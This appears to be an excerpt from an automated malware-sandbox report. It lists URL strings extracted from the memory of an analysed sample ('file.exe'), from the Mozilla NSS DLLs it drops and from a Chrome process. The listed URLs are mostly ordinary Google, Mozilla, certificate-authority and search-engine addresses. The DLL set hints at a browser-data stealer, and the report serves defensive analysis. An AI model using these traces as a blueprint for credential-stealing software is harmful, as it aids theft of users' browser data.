Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: file.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000002.00000002.2343629994.000000006F90D000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000002.00000002.2342762502.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000003.1797307584.0000138800338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.1790013018.0000138800F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000003.1780953024.0000138800338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773356339.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780982700.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1775503059.0000138800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774738179.0000138800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774260517.0000138800CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774218201.0000138800338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790013018.0000138800F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000003.1758283323.00007748002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1758295413.00007748002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000003.00000003.1810439154.0000138802A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.1762198030.00000FFC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.1807157913.0000138802DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
